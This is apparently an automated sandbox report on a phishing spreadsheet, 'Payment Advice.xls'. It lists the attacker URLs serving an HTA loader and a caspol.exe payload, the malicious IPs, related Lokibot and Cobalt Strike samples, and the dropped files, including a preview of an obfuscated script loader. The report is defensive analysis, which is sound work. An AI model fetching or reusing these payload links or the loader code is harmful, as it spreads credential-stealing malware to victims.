https://provit.uk/J	mshta.exe, 00000004.00000003.430980490.0000000000512000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430640416.0000000000512000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430428593.0000000000512000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.431523218.0000000000512000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000005.00000002.468386481.00000000122A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://provit.uk/:	mshta.exe, 00000004.00000003.430980490.0000000000512000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430640416.0000000000512000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430428593.0000000000512000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.431523218.0000000000512000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta38	mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namep5W	rrwscqkDSNwLK.exe, 00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp	false		high
https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestionket	mshta.exe, 00000004.00000003.430640416.0000000000512000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430428593.0000000000512000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htaV8	mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.3.243.136/55/caspol.exe6	powershell.exe, 0000001F.00000002.523691740.000000001AF69000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htaHf	mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta=8	mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta$1	mshta.exe, 0000001D.00000002.511914905.00000000001DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion?	mshta.exe, 0000001D.00000002.511914905.00000000001DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://secure.comodo.com/CPS0	mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htaht	mshta.exe, 00000004.00000003.431264903.00000000034D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.510361814.0000000002C25000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.506573800.0000000002C25000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/2048ca.crl0	mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
198.244.140.41	provit.uk	United States	18630	RIDLEYSD-NETUS	false
192.3.243.136	unknown	United States	36352	AS-COLOCROSSINGUS	true
94.156.177.41	unknown	Bulgaria	43561	NET1-ASBG	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559095
Start date and time:	2024-11-20 07:55:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	47
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Payment Advice.xls
Detection:	MAL
Classification:	mal100.phis.troj.spyw.expl.evad.winXLS@52/60@3/3
EGA Information:	Successful, ratio: 71.4%
HCA Information:	Successful, ratio: 98% Number of executed functions: 128 Number of non-executed functions: 8
Cookbook Comments:	Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe
Execution Graph export aborted for target mshta.exe, PID 3424 because there are no executed function
Execution Graph export aborted for target mshta.exe, PID 3492 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:56:32	API Interceptor	117x Sleep call for process: mshta.exe modified
01:56:36	API Interceptor	341x Sleep call for process: powershell.exe modified
01:56:48	API Interceptor	1415x Sleep call for process: caspol.exe modified
01:56:50	API Interceptor	5x Sleep call for process: schtasks.exe modified
01:56:53	API Interceptor	116x Sleep call for process: AcroRd32.exe modified
01:56:56	API Interceptor	53x Sleep call for process: rrwscqkDSNwLK.exe modified
01:56:56	API Interceptor	176x Sleep call for process: taskeng.exe modified
22:56:55	Task Scheduler	Run new task: rrwscqkDSNwLK path: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
198.244.140.41	Env#U00edo de Orden de Compra No. 43456435344657.xla.xlsx	Get hash	malicious	AgentTesla, HTMLPhisher	Browse
192.3.243.136	givemebestwithentiretimegivenmebestthingsalwaysforgetbacknew.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	192.3.243.136/37/caspol.exe
	seemybestbeautifulgirlwhowantbestthignsenitrelifetimethingstobe.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	192.3.243.136/36/caspol.exe
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	192.3.243.136/xampp/de/givemebestwithentiretimegivenmebestthingsalwaysforgetbacknew.hta
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	192.3.243.136/xampp/rf/seemybestbeautifulgirlwhowantbestthignsenitrelifetimethingstobe.hta
	kissmegoodthingwhichgivemebestthignswithgirluaremy.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	192.3.243.136/32/SMPLLS.txt
	bestgirlfriendwhowintheheartwithentirelifegivenubestthigns.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot, Strela Stealer	Browse	192.3.243.136/33/LOGLK.txt
	Purchase order (1).xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	192.3.243.136/32/SMPLLS.txt
	Purchase order (2).xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	192.3.243.136/33/LOGLK.txt
94.156.177.41	WjcXwIcclB.exe	Get hash	malicious	Lokibot	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
provit.uk	Env#U00edo de Orden de Compra No. 43456435344657.xla.xlsx	Get hash	malicious	AgentTesla, HTMLPhisher	Browse	198.244.140.41

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	Env#U00edo de Orden de Compra No. 43456435344657.xla.xlsx	Get hash	malicious	AgentTesla, HTMLPhisher	Browse	192.3.22.13
	9srIKeD54O.rtf	Get hash	malicious	Unknown	Browse	192.3.101.150
	exe009.exe	Get hash	malicious	Emotet	Browse	75.127.14.170
	bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, SmokeLoader	Browse	107.172.44.178
	givemebestwithentiretimegivenmebestthingsalwaysforgetbacknew.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	192.3.243.136
	seemybestbeautifulgirlwhowantbestthignsenitrelifetimethingstobe.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	192.3.243.136
	#U3010TW-S PO#U3011PO#3311-20241118003.xls	Get hash	malicious	HTMLPhisher, SmokeLoader	Browse	107.172.44.178
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	192.3.243.136
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	192.3.243.136
	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	192.227.228.36
NET1-ASBG	WjcXwIcclB.exe	Get hash	malicious	Lokibot	Browse	94.156.177.41
	0aA7F59xDl.exe	Get hash	malicious	Lokibot	Browse	94.156.177.95
	givemebestwithentiretimegivenmebestthingsalwaysforgetbacknew.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	94.156.177.95
	seemybestbeautifulgirlwhowantbestthignsenitrelifetimethingstobe.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	94.156.177.95
	seemefasterthanbeforewithhisbestthingsinonlineforgetreadyfor.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	94.156.177.95
	PO-000041492.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	94.156.177.95
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	94.156.177.95
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	94.156.177.95
	Zam#U00f3wienie 89118 _ Metal-Constructions.pdf.com.exe	Get hash	malicious	Quasar	Browse	93.123.85.234
	11_deb64ed.exe	Get hash	malicious	Lokibot	Browse	94.156.177.95
RIDLEYSD-NETUS	Env#U00edo de Orden de Compra No. 43456435344657.xla.xlsx	Get hash	malicious	AgentTesla, HTMLPhisher	Browse	198.244.140.41
	nabspc.elf	Get hash	malicious	Unknown	Browse	198.244.7.173
	https://instagrambeta.github.io/	Get hash	malicious	HTMLPhisher	Browse	198.244.231.90
	SecuriteInfo.com.Trojan.WinGo.Agent.27329.6060.exe	Get hash	malicious	Unknown	Browse	198.244.179.42
	Informations.bat	Get hash	malicious	PureLog Stealer, XWorm	Browse	198.244.206.37
	Beopajki.exe	Get hash	malicious	HVNC, PureLog Stealer, XWorm	Browse	198.244.206.37
	Your_New_Social_Security_Statement.wsf	Get hash	malicious	XWorm	Browse	198.244.251.236
	http://www.loroc.co.uk/	Get hash	malicious	Unknown	Browse	198.244.213.27
	ODggSYsZP2.elf	Get hash	malicious	Unknown	Browse	198.244.7.172
	at0jsDxjXS.elf	Get hash	malicious	Unknown	Browse	198.244.66.83

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
7dcce5b76c8b17472d024758970a406b	Env#U00edo de Orden de Compra No. 43456435344657.xla.xlsx	Get hash	malicious	AgentTesla, HTMLPhisher	Browse	198.244.140.41
	PO-73375.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	198.244.140.41
	PO-000041492.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	198.244.140.41
	#U3010TW-S PO#U3011PO#3311-20241118003.xls	Get hash	malicious	HTMLPhisher, SmokeLoader	Browse	198.244.140.41
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	198.244.140.41
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	198.244.140.41
	Order_Summary.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	198.244.140.41
	Signert kontrakt og faktura.xls	Get hash	malicious	Unknown	Browse	198.244.140.41
	New order.xls	Get hash	malicious	Unknown	Browse	198.244.140.41
	Purchase order (1).xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	198.244.140.41

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4742
Entropy (8bit):	4.8105940880640246
Encrypted:	false
SSDEEP:	96:mCJ2Woe5Sgyg12jDs+un/iQLEYFjDaeWJ6KGcmXuFRLcU6/KI2k6Lm5emmXIG:Jxoe5+gkjDt4iWN3yBGH+dcU6CIVsm5D
MD5:	278C40A9A3B321CA9147FFBC6BE3A8A8
SHA1:	D795FC7D3249F9D924DC951DA1DB900D02496D73
SHA-256:	4EB0EAE13C3C67789AD8940555F31548A66F5031BF1A804E26EA6E303515259E
SHA-512:	E7222B41A436CE0BF8FA3D8E5EB8249D4D3985419D0F901F535375789F001B5929EF9B85C1D6802F0FBD5F722A52CB27021F87D076E69D92F46C7C3E894C6F00
Malicious:	false
Preview:	PSMODULECACHE.....8.......S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script............7...q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1m.......Remove-Variable........Convert-String........Trace-Command........Sort-Object........Register-Object

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\greetingwithgreatthignsgivenbackwithentireprocessgivenmeback[1].hta

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	HTML document, ASCII text, with very long lines (65536), with no line terminators
Category:	modified
Size (bytes):	182352
Entropy (8bit):	2.3378885496144393
Encrypted:	false
SSDEEP:	96:4vCl17HUofTaTGoHTapZR3CyYaMJhS1i3hTaNopQ:4vCldHULTG3pZLYKi3gN2Q
MD5:	4CE3B0E612E1968B6C491AB1AB818884
SHA1:	CBC890A816E9B7E993C90FB63D51526A76616323
SHA-256:	A786CB2AE0DC8117E3BFC07BCA8BB0E5D4545AB8F5B4AA042C9EE85DCA7B43A0
SHA-512:	9B87141B10A2E781E51483DCED485817AEB34B545F6DBF64803B4B3621CD4DD74587A5033AB1AA3B931FBD39BC7C77650A0CCDD6B4132B48FBEAB9D0FBB3D816
Malicious:	true
Yara Hits:	Rule: JoeSecurity_HtmlPhish_44, Description: Yara detected HtmlPhish_44, Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\greetingwithgreatthignsgivenbackwithentireprocessgivenmeback[1].hta, Author: Joe Security
Preview:	<script language=JavaScript>m='%3Cscript%3E%0A%3C%21--%0Adocument.write%28unescape%28%22%253Cscript%253E%250A%253C%2521--%250Adocument.write%2528unescape%2528%2522%25253Cscript%25253E%25250A%25253C%252521--%25250Adocument.write%252528unescape%252528%252522%2525253C%25252521DOCTYPE%25252520html%2525253E%2525250A%2525253Cmeta%25252520http-equiv%2525253D%25252522X-UA-Compatible%25252522%25252520content%2525253D%25252522IE%2525253DEmulateIE8%25252522%25252520%2525253E%2525250A%2525253Chtml%2525253E%2525250A%2525253Cbody%2525253E%2525250A%2525253CscRipt%25252520Type%2525253D%25252522TexT/vbsCRipT%25252522%2525253E%2525250ADim%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\caspol[1].exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	600576
Entropy (8bit):	7.915042903583073
Encrypted:	false
SSDEEP:	12288:frO3+Ri3AgFdygxDJz5WFux50+KnCKmfRLdW3Kt9c+O7:LQ3AgyKJdG+wmNdsKM+O7
MD5:	74061922F1E78C237A66D12A15A18181
SHA1:	E31EE444AAA552A100F006E43F0810497A3B0387
SHA-256:	89BF888148EAE2CAABDC6D3FFF98054127B197B402493581894A3104ED6B6F1C
SHA-512:	306744107D78B02ECFD28252DAE954F0B47C1F761E15A33C937474A2E15284C17BB7E2542618B745EA5F95E5A7DBA3D27B675C8837914A44D8B5B350A3D4A136
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5=g..............0...... .......'... ...@....@.. ....................................`..................................&..O....@..\|....................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc...\|....@......................@..@.reloc.......`.......(..............@..B.................'......H........6...(...........^..(.............................................(......}.....{....r...p .....o5....{....o7...&....0...........{......o9.....}........&.......................0..t........o.....{.....{....r...p(....o:.......+%.....{.....o....o;.....o......&....X....i2..{.....o<.......&.{....o=..............+..E..........\b......2.{....oA...n.(......}......}.....(....*....0...........{....o......3...%..;.o......{....o.....s......{.......o....,ir5..p..o......+...(...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2B39E307.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	1504468
Entropy (8bit):	1.7693060102813485
Encrypted:	false
SSDEEP:	3072:L+6i9zy7v2/uEB1A/meRlmRYT9FANxg2WUZUKdRLuk0VgHPLk9CVi:LKERludvLuk0Vgk9CVi
MD5:	EF3C18CC49B02153C770DB977B2E7435
SHA1:	D436E0F820DDBBA10DB4D3F1243ED3AA6468C057
SHA-256:	F328FB5B6055B687344190BB13D8DD6CDF6EA76D4AAAE6C5112DEC1B32ACE3C2
SHA-512:	2081EF5EE87A360894B8726494F30DFEEFF7D922E733D2E633A3D010DE56C6A4CAEADEEBE4CD12A28658AE250ADE3B093F2FAB032B92A31D511D9C99A12AF337
Malicious:	false
Preview:	....l...........I...R............:...).. EMF................................8...X....................?...........................................:...)..........J...S...Q...............I...R...................J...S...P...(...x........... ....:...)..(...J...S.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5987A0CE.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	1296688
Entropy (8bit):	3.591660498552015
Encrypted:	false
SSDEEP:	6144:JQmd3s01u2uIfTlw35Y5kndm9wHiT53ZkyOmCl6PV2yuxOKNOKj:vNWQTi35JH1RW7vz4
MD5:	D00A1317B51C58FCF05D3B801FF5A898
SHA1:	6B610957FC045D55DEB7A55616302F9186AA2E6C
SHA-256:	800C36FBCC44628AC220EBB68BA7DCDED8E53217E9EE90C638A9DB20FE657A5E
SHA-512:	54646FBA5458D5FEE036C130C469550F165AFAE977707A0F41008D677463AF111D19D203CC369F22DDE51CF788754E033CB6F4845E6E87F05BA2AF82975DB870
Malicious:	false
Preview:	....l...........................6[...%.. EMF....0.......$.......................@...........................F...,... ...EMF+.@..................`...`...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.................P.....%.....................P.....................................L...d.......1.......Z.......1.......*...!..............?...........?................................R...p.................................. C.a.l.i.b.r.i...........................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\68BFBA8B.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	3064680
Entropy (8bit):	1.8507381356738084
Encrypted:	false
SSDEEP:	6144:NaeRlcBvLukyV6kTCVQKERludvLuk0Vgk9CVX:oeRlM7kmERlyDku
MD5:	93774BB9AECD3837D6496AE965D1BD80
SHA1:	AE60D6A30E74BB5BE492CA71B82205D5C6B850C4
SHA-256:	6CDB58A3C6906A6DD49DB83340ACC7AF0B7C7BBA5C01D8B0A9F562AEBDC85897
SHA-512:	3810C4CDE003BAF916D626A41C0534BF421F5CDBF64D897F385FEDA36F556B6FECC27DB294A39F89C82DF0570424DE2EBB789E0B2294D42BFF80A64756257BD6
Malicious:	false
Preview:	....l............................]..WT.. EMF....h...........................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...............................................2......."...........!...............................................2......."...........!...............................................2......."...........!...............................................2.......'.......................%...........................................................L...d.......L.......!.......L...........!..............?...........?................................L...d...y...Y...........y...Y.......[...!..............?...........?................................'.......................%...................................&...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A869FC32.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	3191264
Entropy (8bit):	2.0118490192617995
Encrypted:	false
SSDEEP:	6144:nA0Ki15RlURvLuky+NkuCVAKERludvLuk0Vgk9CVnOKAOK1:P5RlMHk5ERlyDkr8a
MD5:	04A17584C7203C47419D4AC2163B98C6
SHA1:	485E17A82AE4672AC8D4B542CA0F509B80C0C4DF
SHA-256:	EBA2B7C929B2EAA16FB1F733B7ACDDDFD80635A7211B3FBE400FF2796C17827E
SHA-512:	043092951F27E81FF96DA084E8112107D6F00DAEE83ADA80132BEC696E56309D16FDDED39F7F3810CA58BB6357CC6A75718CDD2F7B4342CF82D0421B7681A88C
Malicious:	false
Preview:	....l...........@................S...".. EMF.....0.....#...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.................P.....%.....................P.....................................L...d.......<.......m.......<.......2...!..............?...........?................................R...p.................................. C.a.l.i.b.r.i...........................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EDA2DB10.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	7440
Entropy (8bit):	5.6312448977812695
Encrypted:	false
SSDEEP:	96:PV1Ipi7blJaXn/08zDefAm/luoOHo6MiDbDda91RjTBbPxmPAWmOHDx:PVxvTNAK4oOIGbK1RvVwPAWmOHDx
MD5:	DEA1DEA8BEA479821FA2AC1C565B6E56
SHA1:	86865637336A9FEFA98AC5ABD189A848BE8852D4
SHA-256:	64832E2264B5A851EE2CC7E048DA437D6F41B1C3DCAA385971DAA1B502A11125
SHA-512:	1E1858F58748BF88DAB254F524943AC2C8576B4546AA67E37DFFE8917396A1CCCBA3964554AA77C599DD1CA184A56B8AFC3406A14C880A1B88D163EB04BACA1C
Malicious:	false
Preview:	....l........... ...<...........w....... EMF................................8...X....................?..............................@...C...R...p...................................S.e.g.o.e. .U.I.....................................................6.).X.......d............................Xt....\.............L...7.Xt........].v?.Xt......Xt.......w8.....9............w....$.......d...........*XYt.....XYtH...8....d....9.-...4...6=.w................<.fv.[Sw....X..V..............................Twdv......%...................................r...................'...........(...(..................?...........?................l...4...........(...(...(...(...(..... .........................................................................................................................................................................................................................................HD?^KHCcNJFfOJFiQMHlSPJoUPLrWRMvYSPx[UR{]XQ~^XS._ZT.a[U.c\U.e^V.e^X.g`Y.hbY.jaZ.jb\.ld].ld].nd^.nf^.

C:\Users\user\AppData\Local\Temp\1ajzdp3d.tf5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\4cy2gzqu.2hf.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
